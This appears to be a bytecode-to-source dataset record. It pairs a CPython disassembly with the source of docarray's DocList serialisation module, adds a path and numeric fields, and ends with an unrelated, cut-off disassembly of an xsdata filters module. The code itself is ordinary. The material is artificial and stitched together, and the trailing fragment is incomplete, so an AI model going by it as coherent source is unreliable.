LOAD_CONST ('nullcontext',) IMPORT_NAME contextlib IMPORT_FROM nullcontext STORE_FAST nullcontext POP_TOP LOAD_FAST nullcontext CALL_FUNCTION STORE_FAST pbar LOAD_FAST pbar SETUP_WITH to 294 POP_TOP LOAD_FAST show_progress POP_JUMP_IF_FALSE LOAD_CONST 0 STORE_FAST _total_size LOAD_FAST pbar LOAD_METHOD start_task LOAD_FAST t CALL_METHOD POP_TOP SETUP_LOOP to 290 LOAD_GLOBAL range LOAD_FAST num_docs CALL_FUNCTION GET_ITER FOR_ITER to 288 STORE_FAST _ LOAD_GLOBAL int LOAD_ATTR from_bytes LOAD_FAST f LOAD_METHOD read LOAD_CONST 4 CALL_METHOD LOAD_CONST 'big' LOAD_CONST False LOAD_CONST ('signed',) CALL_FUNCTION STORE_FAST len_current_doc_in_bytes LOAD_FAST protocol STORE_FAST load_protocol LOAD_FAST cls LOAD_ATTR doc_type LOAD_ATTR from_bytes LOAD_FAST f LOAD_METHOD read LOAD_FAST len_current_doc_in_bytes CALL_METHOD LOAD_FAST load_protocol LOAD_FAST compress LOAD_CONST ('protocol', 'compress') CALL_FUNCTION YIELD_VALUE POP_TOP LOAD_FAST show_progress POP_JUMP_IF_FALSE LOAD_FAST _total_size LOAD_FAST len_current_doc_in_bytes INPLACE_ADD STORE_FAST _total_size LOAD_FAST pbar LOAD_ATTR update LOAD_FAST t LOAD_CONST 1 LOAD_GLOBAL str LOAD_FAST filesize LOAD_METHOD decimal LOAD_FAST _total_size CALL_METHOD CALL_FUNCTION LOAD_CONST ('advance', 'total_size') CALL_FUNCTION POP_TOP JUMP_ABSOLUTE POP_BLOCK POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST protocol STORE_FAST load_protocol LOAD_FAST compress STORE_FAST load_compress LOAD_GLOBAL isinstance LOAD_FAST file LOAD_GLOBAL io LOAD_ATTR BufferedReader LOAD_GLOBAL _LazyRequestReader LOAD_GLOBAL bytes BUILD_TUPLE CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL nullcontext LOAD_FAST file CALL_FUNCTION STORE_FAST file_ctx JUMP_FORWARD to 106 LOAD_GLOBAL isinstance LOAD_FAST file LOAD_GLOBAL str LOAD_GLOBAL pathlib LOAD_ATTR Path BUILD_TUPLE CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD exists LOAD_FAST file CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL _protocol_and_compress_from_file_path LOAD_FAST file LOAD_FAST protocol LOAD_FAST compress CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST load_protocol STORE_FAST load_compress LOAD_GLOBAL open LOAD_FAST file LOAD_CONST 'rb' CALL_FUNCTION STORE_FAST file_ctx JUMP_FORWARD to 106 LOAD_GLOBAL FileNotFoundError LOAD_CONST 'cannot find file ' LOAD_FAST file FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST file_ctx LOAD_FAST load_protocol LOAD_FAST load_compress BUILD_TUPLE RETURN_VALUE LOAD_FAST cls LOAD_METHOD _get_file_context LOAD_FAST file LOAD_FAST protocol LOAD_FAST compress CALL_METHOD UNPACK_SEQUENCE STORE_FAST file_ctx STORE_FAST load_protocol STORE_FAST load_compress LOAD_FAST streaming POP_JUMP_IF_FALSE LOAD_FAST load_protocol LOAD_GLOBAL SINGLE_PROTOCOLS COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST '`streaming` is only available when using ' LOAD_CONST ' or ' LOAD_METHOD join LOAD_GLOBAL map LOAD_CONST <code object <lambda> at 0x7faa74b7ae40, file "f.py", line 780> LOAD_CONST 'IOMixinDocList.load_binary.<locals>.<lambda>' MAKE_FUNCTION LOAD_GLOBAL SINGLE_PROTOCOLS CALL_FUNCTION CALL_METHOD FORMAT_VALUE LOAD_CONST ' as protocol, got ' LOAD_FAST load_protocol FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE LOAD_FAST cls LOAD_ATTR _load_binary_stream LOAD_FAST file_ctx LOAD_FAST load_protocol LOAD_FAST load_compress LOAD_FAST show_progress LOAD_CONST ('protocol', 'compress', 'show_progress') CALL_FUNCTION RETURN_VALUE JUMP_FORWARD to 106 LOAD_FAST cls LOAD_METHOD _load_binary_all LOAD_FAST file_ctx LOAD_FAST load_protocol LOAD_FAST load_compress LOAD_FAST show_progress CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST '`' LOAD_FAST x FORMAT_VALUE LOAD_CONST '`' BUILD_STRING RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST file LOAD_GLOBAL io LOAD_ATTR BufferedWriter CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL nullcontext LOAD_FAST file CALL_FUNCTION STORE_FAST file_ctx JUMP_FORWARD to 68 LOAD_GLOBAL _protocol_and_compress_from_file_path LOAD_FAST file CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST _protocol STORE_FAST _compress LOAD_FAST _protocol LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST _protocol STORE_FAST protocol LOAD_FAST _compress LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST _compress STORE_FAST compress LOAD_GLOBAL open LOAD_FAST file LOAD_CONST 'wb' CALL_FUNCTION STORE_FAST file_ctx LOAD_FAST self LOAD_ATTR to_bytes LOAD_FAST protocol LOAD_FAST compress LOAD_FAST file_ctx LOAD_FAST show_progress LOAD_CONST ('protocol', 'compress', 'file_ctx', 'show_progress') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE
import base64 import csv import io import os import pathlib import pickle from abc import abstractmethod from contextlib import nullcontext from io import StringIO, TextIOWrapper from itertools import compress from typing import ( TYPE_CHECKING, Any, BinaryIO, ContextManager, Dict, Generator, Iterable, Iterator, List, Optional, Tuple, Type, TypeVar, Union, cast, ) import orjson from docarray.base_doc import AnyDoc, BaseDoc from docarray.base_doc.io.json import orjson_dumps from docarray.helper import ( _access_path_dict_to_nested_dict, _all_access_paths_valid, _dict_to_access_paths, ) from docarray.utils._internal.compress import _decompress_bytes, _get_compress_ctx from docarray.utils._internal.misc import import_library, ProtocolType if TYPE_CHECKING: import pandas as pd from docarray.array.doc_vec.doc_vec import DocVec from docarray.array.doc_vec.io import IOMixinDocVec from docarray.proto import DocListProto from docarray.typing.tensor.abstract_tensor import AbstractTensor T = TypeVar("T", bound="IOMixinDocList") T_doc = TypeVar("T_doc", bound=BaseDoc) ARRAY_PROTOCOLS = {"protobuf-array", "pickle-array", "json-array"} SINGLE_PROTOCOLS = {"pickle", "protobuf", "json"} ALLOWED_PROTOCOLS = ARRAY_PROTOCOLS.union(SINGLE_PROTOCOLS) ALLOWED_COMPRESSIONS = {"lz4", "bz2", "lzma", "zlib", "gzip"} def _protocol_and_compress_from_file_path( file_path: Union[pathlib.Path, str], default_protocol: Optional[ProtocolType] = None, default_compress: Optional[str] = None, ) -> Tuple[Optional[ProtocolType], Optional[str]]: """Extract protocol and compression algorithm from a string, use defaults if not found. :param file_path: path of a file. :param default_protocol: default serialization protocol used in case not found. :param default_compress: default compression method used in case not found. Examples: >>> _protocol_and_compress_from_file_path('./docarray_fashion_mnist.protobuf.gzip') ('protobuf', 'gzip') >>> _protocol_and_compress_from_file_path('/Documents/docarray_fashion_mnist.protobuf') ('protobuf', None) >>> _protocol_and_compress_from_file_path('/Documents/docarray_fashion_mnist.gzip') (None, gzip) """ protocol = default_protocol compress = default_compress file_extensions = [e.replace(".", "") for e in pathlib.Path(file_path).suffixes] for extension in file_extensions: if extension in ALLOWED_PROTOCOLS: protocol = cast(ProtocolType, extension) elif extension in ALLOWED_COMPRESSIONS: compress = extension return protocol, compress class _LazyRequestReader: def __init__(self, r): self._data = r.iter_content(chunk_size=1024 * 1024) self.content = b"" def __getitem__(self, item: slice): while len(self.content) < item.stop: try: self.content += next(self._data) except StopIteration: return self.content[item.start : -1 : item.step] return self.content[item] class IOMixinDocList(Iterable[T_doc]): doc_type: Type[T_doc] @abstractmethod def __len__(self): ... @abstractmethod def __init__( self, docs: Optional[Iterable[BaseDoc]] = None, ): ... @classmethod def from_protobuf(cls: Type[T], pb_msg: "DocListProto") -> T: """create a Document from a protobuf message :param pb_msg: The protobuf message from where to construct the DocList """ return cls(cls.doc_type.from_protobuf(doc_proto) for doc_proto in pb_msg.docs) def to_protobuf(self) -> "DocListProto": """Convert `DocList` into a Protobuf message""" from docarray.proto import DocListProto da_proto = DocListProto() for doc in self: da_proto.docs.append(doc.to_protobuf()) return da_proto @classmethod def from_bytes( cls: Type[T], data: bytes, protocol: ProtocolType = "protobuf-array", compress: Optional[str] = None, show_progress: bool = False, ) -> T: """Deserialize bytes into a `DocList`. :param data: Bytes from which to deserialize :param protocol: protocol that was used to serialize :param compress: compression algorithm that was used to serialize between `lz4`, `bz2`, `lzma`, `zlib`, `gzip` :param show_progress: show progress bar, only works when protocol is `pickle` or `protobuf` :return: the deserialized `DocList` """ return cls._load_binary_all( file_ctx=nullcontext(data), protocol=protocol, compress=compress, show_progress=show_progress, ) def _write_bytes( self, bf: BinaryIO, protocol: ProtocolType = "protobuf-array", compress: Optional[str] = None, show_progress: bool = False, ) -> None: if protocol in ARRAY_PROTOCOLS: compress_ctx = _get_compress_ctx(compress) else: compress_ctx = None fc: ContextManager if compress_ctx is None: f, fc = bf, nullcontext() else: f = compress_ctx(bf) fc = f compress = None with fc: if protocol == "protobuf-array": f.write(self.to_protobuf().SerializePartialToString()) elif protocol == "pickle-array": f.write(pickle.dumps(self)) elif protocol == "json-array": f.write(self.to_json().encode()) elif protocol in SINGLE_PROTOCOLS: f.write( b"".join( self._to_binary_stream( protocol=protocol, compress=compress, show_progress=show_progress, ) ) ) else: raise ValueError( f"protocol={protocol} is not supported. Can be only {ALLOWED_PROTOCOLS}." ) def _to_binary_stream( self, protocol: ProtocolType = "protobuf", compress: Optional[str] = None, show_progress: bool = False, ) -> Iterator[bytes]: from rich import filesize if show_progress: from docarray.utils._internal.progress_bar import _get_progressbar pbar, t = _get_progressbar( "Serializing", disable=not show_progress, total=len(self) ) else: from contextlib import nullcontext pbar = nullcontext() yield self._stream_header with pbar: if show_progress: _total_size = 0 pbar.start_task(t) for doc in self: doc_bytes = doc.to_bytes(protocol=protocol, compress=compress) len_doc_as_bytes = len(doc_bytes).to_bytes(4, "big", signed=False) all_bytes = len_doc_as_bytes + doc_bytes yield all_bytes if show_progress: _total_size += len(all_bytes) pbar.update( t, advance=1, total_size=str(filesize.decimal(_total_size)), ) def to_bytes( self, protocol: ProtocolType = "protobuf-array", compress: Optional[str] = None, file_ctx: Optional[BinaryIO] = None, show_progress: bool = False, ) -> Optional[bytes]: """Serialize itself into `bytes`. For more Pythonic code, please use ``bytes(...)``. :param protocol: protocol to use. It can be 'pickle-array', 'protobuf-array', 'pickle' or 'protobuf' :param compress: compress algorithm to use between : `lz4`, `bz2`, `lzma`, `zlib`, `gzip` :param file_ctx: File or filename or serialized bytes where the data is stored. :param show_progress: show progress bar, only works when protocol is `pickle` or `protobuf` :return: the binary serialization in bytes or None if file_ctx is passed where to store """ with file_ctx or io.BytesIO() as bf: self._write_bytes( bf=bf, protocol=protocol, compress=compress, show_progress=show_progress, ) if isinstance(bf, io.BytesIO): return bf.getvalue() return None @classmethod def from_base64( cls: Type[T], data: str, protocol: ProtocolType = "protobuf-array", compress: Optional[str] = None, show_progress: bool = False, ) -> T: """Deserialize base64 strings into a `DocList`. :param data: Base64 string to deserialize :param protocol: protocol that was used to serialize :param compress: compress algorithm that was used to serialize between `lz4`, `bz2`, `lzma`, `zlib`, `gzip` :param show_progress: show progress bar, only works when protocol is `pickle` or `protobuf` :return: the deserialized `DocList` """ return cls._load_binary_all( file_ctx=nullcontext(base64.b64decode(data)), protocol=protocol, compress=compress, show_progress=show_progress, ) def to_base64( self, protocol: ProtocolType = "protobuf-array", compress: Optional[str] = None, show_progress: bool = False, ) -> str: """Serialize itself into base64 encoded string. :param protocol: protocol to use. It can be 'pickle-array', 'protobuf-array', 'pickle' or 'protobuf' :param compress: compress algorithm to use between `lz4`, `bz2`, `lzma`, `zlib`, `gzip` :param show_progress: show progress bar, only works when protocol is `pickle` or `protobuf` :return: the binary serialization in bytes or None if file_ctx is passed where to store """ with io.BytesIO() as bf: self._write_bytes( bf=bf, compress=compress, protocol=protocol, show_progress=show_progress, ) return base64.b64encode(bf.getvalue()).decode("utf-8") @classmethod def from_json( cls: Type[T], file: Union[str, bytes, bytearray], ) -> T: """Deserialize JSON strings or bytes into a `DocList`. :param file: JSON object from where to deserialize a `DocList` :return: the deserialized `DocList` """ json_docs = orjson.loads(file) return cls([cls.doc_type(**v) for v in json_docs]) def to_json(self) -> str: """Convert the object into JSON bytes. Can be loaded via `.from_json`. :return: JSON serialization of `DocList` """ return orjson_dumps(self).decode("UTF-8") @classmethod def from_csv( cls: Type["T"], file_path: str, encoding: str = "utf-8", dialect: Union[str, csv.Dialect] = "excel", ) -> "T": """ Load a DocList from a csv file following the schema defined in the [`.doc_type`][docarray.DocList] attribute. Every row of the csv file will be mapped to one document in the doc_list. The column names (defined in the first row) have to match the field names of the Document type. For nested fields use "__"-separated access paths, such as `'image__url'`. List-like fields (including field of type DocList) are not supported. :param file_path: path to csv file to load DocList from. :param encoding: encoding used to read the csv file. Defaults to 'utf-8'. :param dialect: defines separator and how to handle whitespaces etc. Can be a [`csv.Dialect`](https://docs.python.org/3/library/csv.html#csv.Dialect) instance or one string of: `'excel'` (for comma separated values), `'excel-tab'` (for tab separated values), `'unix'` (for csv file generated on UNIX systems). :return: `DocList` object """ if cls.doc_type == AnyDoc or cls.doc_type == BaseDoc: raise TypeError( "There is no document schema defined. " f"Please specify the {cls}'s Document type using `{cls}[MyDoc]`." ) if file_path.startswith("http"): import urllib.request with urllib.request.urlopen(file_path) as f: file = StringIO(f.read().decode(encoding)) return cls._from_csv_file(file, dialect) else: with open(file_path, "r", encoding=encoding) as fp: return cls._from_csv_file(fp, dialect) @classmethod def _from_csv_file( cls: Type["T"], file: Union[StringIO, TextIOWrapper], dialect: Union[str, csv.Dialect], ) -> "T": rows = csv.DictReader(file, dialect=dialect) doc_type = cls.doc_type docs = [] field_names: List[str] = ( [] if rows.fieldnames is None else [str(f) for f in rows.fieldnames] ) if field_names is None or len(field_names) == 0: raise TypeError("No field names are given.") valid_paths = _all_access_paths_valid( doc_type=doc_type, access_paths=field_names ) if not all(valid_paths): raise ValueError( f"Column names do not match the schema of the DocList's " f"document type ({cls.doc_type.__name__}): " f"{list(compress(field_names, [not v for v in valid_paths]))}" ) for access_path2val in rows: doc_dict: Dict[Any, Any] = _access_path_dict_to_nested_dict(access_path2val) docs.append(doc_type.parse_obj(doc_dict)) return cls(docs) def to_csv( self, file_path: str, dialect: Union[str, csv.Dialect] = "excel" ) -> None: """ Save a `DocList` to a csv file. The field names will be stored in the first row. Each row corresponds to the information of one Document. Columns for nested fields will be named after the "__"-seperated access paths, such as `'image__url'` for `image.url`. :param file_path: path to a csv file. :param dialect: defines separator and how to handle whitespaces etc. Can be a [`csv.Dialect`](https://docs.python.org/3/library/csv.html#csv.Dialect) instance or one string of: `'excel'` (for comma separated values), `'excel-tab'` (for tab separated values), `'unix'` (for csv file generated on UNIX systems). """ if self.doc_type == AnyDoc or self.doc_type == BaseDoc: raise TypeError( f"{type(self)} must be homogeneous to be converted to a csv." "There is no document schema defined. " f"Please specify the {type(self)}'s Document type using `{type(self)}[MyDoc]`." ) fields = self.doc_type._get_access_paths() with open(file_path, "w") as csv_file: writer = csv.DictWriter(csv_file, fieldnames=fields, dialect=dialect) writer.writeheader() for doc in self: doc_dict = _dict_to_access_paths(doc.dict()) writer.writerow(doc_dict) @classmethod def from_dataframe(cls: Type["T"], df: "pd.DataFrame") -> "T": """ Load a `DocList` from a `pandas.DataFrame` following the schema defined in the [`.doc_type`][docarray.DocList] attribute. Every row of the dataframe will be mapped to one Document in the doc_list. The column names of the dataframe have to match the field names of the Document type. For nested fields use "__"-separated access paths as column names, such as `'image__url'`. List-like fields (including field of type DocList) are not supported. --- ```python import pandas as pd from docarray import BaseDoc, DocList class Person(BaseDoc): name: str follower: int df = pd.DataFrame( data=[['Maria', 12345], ['Jake', 54321]], columns=['name', 'follower'] ) docs = DocList[Person].from_dataframe(df) assert docs.name == ['Maria', 'Jake'] assert docs.follower == [12345, 54321] ``` --- :param df: `pandas.DataFrame` to extract Document's information from :return: `DocList` where each Document contains the information of one corresponding row of the `pandas.DataFrame`. """ from docarray import DocList if cls.doc_type == AnyDoc or cls.doc_type == BaseDoc: raise TypeError( "There is no document schema defined. " f"Please specify the {cls}'s Document type using `{cls}[MyDoc]`." ) doc_type = cls.doc_type docs = DocList.__class_getitem__(doc_type)() field_names = df.columns.tolist() if field_names is None or len(field_names) == 0: raise TypeError("No field names are given.") valid_paths = _all_access_paths_valid( doc_type=doc_type, access_paths=field_names ) if not all(valid_paths): raise ValueError( f"Column names do not match the schema of the DocList's " f"document type ({cls.doc_type.__name__}): " f"{list(compress(field_names, [not v for v in valid_paths]))}" ) for row in df.itertuples(): access_path2val = row._asdict() access_path2val.pop("index", None) doc_dict = _access_path_dict_to_nested_dict(access_path2val) docs.append(doc_type.parse_obj(doc_dict)) return docs def to_dataframe(self) -> "pd.DataFrame": """ Save a DocList to a `pandas.DataFrame`. The field names will be stored as column names. Each row of the dataframe corresponds to the information of one Document. Columns for nested fields will be named after the "__"-seperated access paths, such as `'image__url'` for `image.url`. :return: `pandas.DataFrame` """ if TYPE_CHECKING: import pandas as pd else: pd = import_library("pandas", raise_error=True) if self.doc_type == AnyDoc: raise TypeError( "DocList must be homogeneous to be converted to a DataFrame." "There is no document schema defined. " "Please specify the DocList's Document type using `DocList[MyDoc]`." ) fields = self.doc_type._get_access_paths() df = pd.DataFrame(columns=fields) for doc in self: doc_dict = _dict_to_access_paths(doc.dict()) doc_dict = {k: [v] for k, v in doc_dict.items()} df = pd.concat([df, pd.DataFrame.from_dict(doc_dict)], ignore_index=True) return df @property def _stream_header(self) -> bytes: version_byte = b"\x02" num_docs_as_bytes = len(self).to_bytes(8, "big", signed=False) return version_byte + num_docs_as_bytes @classmethod @abstractmethod def _get_proto_class(cls: Type[T]): ... @classmethod def _load_binary_all( cls: Type[T], file_ctx: Union[ContextManager[io.BufferedReader], ContextManager[bytes]], protocol: Optional[ProtocolType], compress: Optional[str], show_progress: bool, tensor_type: Optional[Type["AbstractTensor"]] = None, ): """Read a `DocList` object from a binary file :param protocol: protocol to use. It can be 'pickle-array', 'protobuf-array', 'pickle' or 'protobuf' :param compress: compress algorithm to use between `lz4`, `bz2`, `lzma`, `zlib`, `gzip` :param show_progress: show progress bar, only works when protocol is `pickle` or `protobuf` :param tensor_type: only relevant for DocVec; tensor_type of the DocVec :return: a `DocList` """ with file_ctx as fp: if isinstance(fp, bytes): d = fp else: d = fp.read() if protocol is not None and protocol in ( "pickle-array", "protobuf-array", "json-array", ): if _get_compress_ctx(algorithm=compress) is not None: d = _decompress_bytes(d, algorithm=compress) compress = None if protocol is not None and protocol == "protobuf-array": proto = cls._get_proto_class()() proto.ParseFromString(d) if tensor_type is not None: cls_ = cast("IOMixinDocVec", cls) return cls_.from_protobuf(proto, tensor_type=tensor_type) else: return cls.from_protobuf(proto) elif protocol is not None and protocol == "pickle-array": return pickle.loads(d) elif protocol is not None and protocol == "json-array": if tensor_type is not None: cls_ = cast("IOMixinDocVec", cls) return cls_.from_json(d, tensor_type=tensor_type) else: return cls.from_json(d) else: from rich import filesize from docarray.utils._internal.progress_bar import _get_progressbar version_num = int.from_bytes(d[0:1], "big", signed=False) if version_num != 2: raise ValueError( f"Unsupported version number {version_num} in binary format, expected 2" ) num_docs = int.from_bytes(d[1:9], "big", signed=False) pbar, t = _get_progressbar( "Deserializing", disable=not show_progress, total=num_docs ) start_pos = 9 docs = [] with pbar: _total_size = 0 pbar.start_task(t) for _ in range(num_docs): len_current_doc_in_bytes = int.from_bytes( d[start_pos : start_pos + 4], "big", signed=False ) start_doc_pos = start_pos + 4 end_doc_pos = start_doc_pos + len_current_doc_in_bytes start_pos = end_doc_pos load_protocol: ProtocolType = protocol or cast( ProtocolType, "protobuf" ) doc = cls.doc_type.from_bytes( d[start_doc_pos:end_doc_pos], protocol=load_protocol, compress=compress, ) docs.append(doc) _total_size += len_current_doc_in_bytes pbar.update( t, advance=1, total_size=str(filesize.decimal(_total_size)) ) if tensor_type is not None: cls__ = cast(Type["DocVec"], cls) return cls__(docs, tensor_type=tensor_type) # type: ignore return cls(docs) @classmethod def _load_binary_stream( cls: Type[T], file_ctx: ContextManager[io.BufferedReader], protocol: ProtocolType = "protobuf", compress: Optional[str] = None, show_progress: bool = False, ) -> Generator["T_doc", None, None]: """Yield `Document` objects from a binary file :param protocol: protocol to use. It can be 'pickle' or 'protobuf' :param compress: compress algorithm to use between `lz4`, `bz2`, `lzma`, `zlib`, `gzip` :param show_progress: show progress bar, only works when protocol is `pickle` or `protobuf` :return: a generator of `Document` objects """ from rich import filesize with file_ctx as f: version_numdocs_lendoc0 = f.read(9) version_num = int.from_bytes( version_numdocs_lendoc0[0:1], "big", signed=False ) if version_num != 2: raise ValueError( f"Unsupported version number {version_num} in binary format, expected 2" ) num_docs = int.from_bytes(version_numdocs_lendoc0[1:9], "big", signed=False) if show_progress: from docarray.utils._internal.progress_bar import _get_progressbar pbar, t = _get_progressbar( "Deserializing", disable=not show_progress, total=num_docs ) else: from contextlib import nullcontext pbar = nullcontext() with pbar: if show_progress: _total_size = 0 pbar.start_task(t) for _ in range(num_docs): len_current_doc_in_bytes = int.from_bytes( f.read(4), "big", signed=False ) load_protocol: ProtocolType = protocol yield cls.doc_type.from_bytes( f.read(len_current_doc_in_bytes), protocol=load_protocol, compress=compress, ) if show_progress: _total_size += len_current_doc_in_bytes pbar.update( t, advance=1, total_size=str(filesize.decimal(_total_size)) ) @staticmethod def _get_file_context( file: Union[str, bytes, pathlib.Path, io.BufferedReader, _LazyRequestReader], protocol: ProtocolType, compress: Optional[str] = None, ) -> Tuple[ Union[nullcontext, io.BufferedReader], Optional[ProtocolType], Optional[str] ]: load_protocol: Optional[ProtocolType] = protocol load_compress: Optional[str] = compress file_ctx: Union[nullcontext, io.BufferedReader] if isinstance(file, (io.BufferedReader, _LazyRequestReader, bytes)): file_ctx = nullcontext(file) elif isinstance(file, (str, pathlib.Path)) and os.path.exists(file): load_protocol, load_compress = _protocol_and_compress_from_file_path( file, protocol, compress ) file_ctx = open(file, "rb") else: raise FileNotFoundError(f"cannot find file {file}") return file_ctx, load_protocol, load_compress @classmethod def load_binary( cls: Type[T], file: Union[str, bytes, pathlib.Path, io.BufferedReader, _LazyRequestReader], protocol: ProtocolType = "protobuf-array", compress: Optional[str] = None, show_progress: bool = False, streaming: bool = False, ) -> Union[T, Generator["T_doc", None, None]]: """Load doc_list elements from a compressed binary file. In case protocol is pickle the `Documents` are streamed from disk to save memory usage !!! note If `file` is `str` it can specify `protocol` and `compress` as file extensions. This functionality assumes `file=file_name.$protocol.$compress` where `$protocol` and `$compress` refer to a string interpolation of the respective `protocol` and `compress` methods. For example if `file=my_docarray.protobuf.lz4` then the binary data will be loaded assuming `protocol=protobuf` and `compress=lz4`. :param file: File or filename or serialized bytes where the data is stored. :param protocol: protocol to use. It can be 'pickle-array', 'protobuf-array', 'pickle' or 'protobuf' :param compress: compress algorithm to use between `lz4`, `bz2`, `lzma`, `zlib`, `gzip` :param show_progress: show progress bar, only works when protocol is `pickle` or `protobuf` :param streaming: if `True` returns a generator over `Document` objects. :return: a `DocList` object """ file_ctx, load_protocol, load_compress = cls._get_file_context( file, protocol, compress ) if streaming: if load_protocol not in SINGLE_PROTOCOLS: raise ValueError( f'`streaming` is only available when using {" or ".join(map(lambda x: f"`{x}`", SINGLE_PROTOCOLS))} as protocol, ' f"got {load_protocol}" ) else: return cls._load_binary_stream( file_ctx, protocol=load_protocol, compress=load_compress, show_progress=show_progress, ) else: return cls._load_binary_all( file_ctx, load_protocol, load_compress, show_progress ) def save_binary( self, file: Union[str, pathlib.Path], protocol: ProtocolType = "protobuf-array", compress: Optional[str] = None, show_progress: bool = False, ) -> None: """Save DocList into a binary file. It will use the protocol to pick how to save the DocList. If used `picke-doc_list` and `protobuf-array` the DocList will be stored and compressed at complete level using `pickle` or `protobuf`. When using `protobuf` or `pickle` as protocol each Document in DocList will be stored individually and this would make it available for streaming. !!! note If `file` is `str` it can specify `protocol` and `compress` as file extensions. This functionality assumes `file=file_name.$protocol.$compress` where `$protocol` and `$compress` refer to a string interpolation of the respective `protocol` and `compress` methods. For example if `file=my_docarray.protobuf.lz4` then the binary data will be created using `protocol=protobuf` and `compress=lz4`. :param file: File or filename to which the data is saved. :param protocol: protocol to use. It can be 'pickle-array', 'protobuf-array', 'pickle' or 'protobuf' :param compress: compress algorithm to use between `lz4`, `bz2`, `lzma`, `zlib`, `gzip` :param show_progress: show progress bar, only works when protocol is `pickle` or `protobuf` """ if isinstance(file, io.BufferedWriter): file_ctx = nullcontext(file) else: _protocol, _compress = _protocol_and_compress_from_file_path(file) if _protocol is not None: protocol = _protocol if _compress is not None: compress = _compress file_ctx = open(file, "wb") self.to_bytes( protocol=protocol, compress=compress, file_ctx=file_ctx, show_progress=show_progress, )
data/docarray-0.40.0/docarray/array/doc_list/io.py
11,639
9,001
250,036
LOAD_CONST 0 LOAD_CONST None IMPORT_NAME re STORE_NAME re LOAD_CONST 0 LOAD_CONST None IMPORT_NAME sys STORE_NAME sys LOAD_CONST 0 LOAD_CONST None IMPORT_NAME textwrap STORE_NAME textwrap LOAD_CONST 0 LOAD_CONST ('defaultdict',) IMPORT_NAME collections IMPORT_FROM defaultdict STORE_NAME defaultdict POP_TOP LOAD_CONST 0 LOAD_CONST ('Any', 'Callable', 'Dict', 'Iterable', 'Iterator', 'List', 'Optional', 'Set', 'Tuple', 'Type') IMPORT_NAME typing IMPORT_FROM Any STORE_NAME Any IMPORT_FROM Callable STORE_NAME Callable IMPORT_FROM Dict STORE_NAME Dict IMPORT_FROM Iterable STORE_NAME Iterable IMPORT_FROM Iterator STORE_NAME Iterator IMPORT_FROM List STORE_NAME List IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Set STORE_NAME Set IMPORT_FROM Tuple STORE_NAME Tuple IMPORT_FROM Type STORE_NAME Type POP_TOP LOAD_CONST 0 LOAD_CONST ('configuration', 'format') IMPORT_NAME docformatter IMPORT_FROM configuration STORE_NAME configuration IMPORT_FROM format STORE_NAME format POP_TOP LOAD_CONST 0 LOAD_CONST ('Environment',) IMPORT_NAME jinja2 IMPORT_FROM Environment STORE_NAME Environment POP_TOP LOAD_CONST 0 LOAD_CONST ('Attr', 'AttrType', 'Class') IMPORT_NAME xsdata.codegen.models IMPORT_FROM Attr STORE_NAME Attr IMPORT_FROM AttrType STORE_NAME AttrType IMPORT_FROM Class STORE_NAME Class POP_TOP LOAD_CONST 0 LOAD_CONST ('converter',) IMPORT_NAME xsdata.formats.converter IMPORT_FROM converter STORE_NAME converter POP_TOP LOAD_CONST 0 LOAD_CONST ('XmlType',) IMPORT_NAME xsdata.formats.dataclass.models.elements IMPORT_FROM XmlType STORE_NAME XmlType POP_TOP LOAD_CONST 0 LOAD_CONST ('DocstringStyle', 'ExtensionType', 'GeneratorConfig', 'GeneratorExtension', 'ObjectType', 'OutputFormat') IMPORT_NAME xsdata.models.config IMPORT_FROM DocstringStyle STORE_NAME DocstringStyle IMPORT_FROM ExtensionType STORE_NAME ExtensionType IMPORT_FROM GeneratorConfig STORE_NAME GeneratorConfig IMPORT_FROM GeneratorExtension STORE_NAME GeneratorExtension IMPORT_FROM ObjectType STORE_NAME ObjectType IMPORT_FROM OutputFormat STORE_NAME OutputFormat POP_TOP LOAD_CONST 0 LOAD_CONST ('collections', 'namespaces', 'text') IMPORT_NAME xsdata.utils IMPORT_FROM collections STORE_NAME collections IMPORT_FROM namespaces STORE_NAME namespaces IMPORT_FROM text STORE_NAME text POP_TOP LOAD_CONST 0 LOAD_CONST ('literal_value',) IMPORT_NAME xsdata.utils.objects IMPORT_FROM literal_value STORE_NAME literal_value POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object Filters at 0x7fab80138540, file "f.py", line 36> LOAD_CONST 'Filters' MAKE_FUNCTION LOAD_CONST 'Filters' CALL_FUNCTION STORE_NAME Filters LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Filters' STORE_NAME __qualname__ LOAD_CONST 'Jinja filters for code generation.' STORE_NAME __doc__ LOAD_CONST 'default' STORE_NAME DEFAULT_KEY LOAD_CONST 'default_factory' STORE_NAME FACTORY_KEY LOAD_NAME re LOAD_METHOD compile LOAD_CONST '([^\\\\])\\"' CALL_METHOD STORE_NAME UNESCAPED_DBL_QUOTE_REGEX LOAD_CONST ('substitutions', 'extensions', 'class_case', 'field_case', 'constant_case', 'package_case', 'module_case', 'class_safe_prefix', 'field_safe_prefix', 'constant_safe_prefix', 'package_safe_prefix', 'module_safe_prefix', 'docstring_style', 'max_line_length', 'union_type', 'subscriptable_types', 'relative_imports', 'postponed_annotations', 'format', 'import_patterns', 'default_class_annotation') STORE_NAME __slots__ LOAD_NAME GeneratorConfig LOAD_CONST ('config',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 